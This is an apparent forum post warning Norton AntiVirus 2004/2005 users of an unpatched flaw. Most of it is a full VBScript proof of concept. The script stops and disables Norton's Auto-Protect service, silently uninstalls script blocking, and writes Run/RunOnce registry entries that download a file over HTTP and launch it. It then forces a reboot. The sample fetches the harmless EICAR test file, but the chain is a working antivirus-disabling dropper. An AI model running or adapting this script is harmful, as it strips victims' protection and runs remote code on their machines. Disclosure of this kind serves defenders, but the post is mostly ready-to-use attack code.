Just wanted you all to know there is a ner exploit against NAV 2004 / 2005 wich allows the shutdown and bypass of norton's auto protection .
So all you norton users beware.
Since ther is no patch yet
Here follows the proof of principle so you know what to expect:
Code:
--------------//// BEGIN DISABLE_NAV.VBS ////-----------------

' ----- DISABLE NORTON AUTO-PROTECT SERVICE WITH WMI -----

sServer = "."
Set oWMI = GetObject("winmgmts://.")

sServiceName = "Norton AntiVirus Auto-Protect Service"
sWQL = "Select state from Win32_Service " _
& "Where displayname='" & sServiceName & "'"
Set oResults = oWMI.ExecQuery(sWQL)
For Each oService In oResults
oService.StopService
oService.ChangeStartMode("Disabled")
Next

' -------- UNINSTALL SCRIPT BLOCKING WITH WMI ;) ----------

const HKEY_LOCAL_MACHINE = &H80000002

strComputer = "."

Set objRegistry =
GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv")
strKeyPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
strValueName = "Uninstall Norton Script Blocking"
arrStringValues = ("MSIEXEC /x {D327AFC9-7BAA-473A-8319-6EB7A0D40138} /Q")
objRegistry.SetStringValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName,
arrStringValues

' -------- CREATE VBS FILE TO GRAB THE EICAR AV-REFERENCE FILE ---------

Set objRegistry =
GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv")
strKeyPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
strValueName = "Create Code Downloader"
arrStringValues = ("cmd /c ECHO Set
X=CreateObject("+chr(34)+"Microsoft.XMLHTTP"+chr(34)+"):X.open
"+chr(34)+"GET"+chr(34)+",("+chr(34)+"http://www.eicar.org/download/eicar.com"+chr(34)+"),False:X.s end:set
Y=createobject("+chr(34)+"adodb.stream"+chr(34)+"):Y.type=1:Y.open:Y.write
X.responseBody:Y.savetofile("+chr(34)+"eicar.com"+chr(34)+"),2:Y.close >
estart.VBS")
objRegistry.SetStringValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName,
arrStringValues

' -------- CREATE VBS FILE THAT TRIGGERS CODE LAUNCH ----------

Set objRegistry =
GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv")
strKeyPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
strValueName = "Create Code Launcer"
arrStringValues = ("cmd /c ECHO wscript.sleep(10000):Set
Z=CreateObject("+chr(34)+"WSCript.Shell"+chr(34)+"):Z.run("+chr(34)+"cmd
/k eicar.com"+chr(34)+") > elaunch.vbs")
objRegistry.SetStringValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName,
arrStringValues

' -------- LAUNCH EICAR DOWNLOADER ----------

Set objRegistry =
GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv")
strKeyPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
strValueName = "Execute Code DownLoader"
arrStringValues = ("estart.vbs")
objRegistry.SetStringValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName,
arrStringValues

' -------- RUN THE 'VIRUS' ----------

Set objRegistry =
GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv")
str KeyPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
strValueName = "Execute Malicious Code Launcher"
arrStringValues = ("elaunch.vbs")
objRegistry.SetStringValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName,
arrStringValues

' ---- USE WMI TO FORCE A REBOOT -- NEXT LOGIN, PWN3D ----

Set wmi = GetObject("winmgmts:{(Shutdown)}")
set objset = wmi.instancesof("win32_operatingsystem")
for each obj in objset
set os = obj : exit for
next
os.win32shutdown 2 + 4

--------------//// END DISABLE_NAV.VBS ////-----------------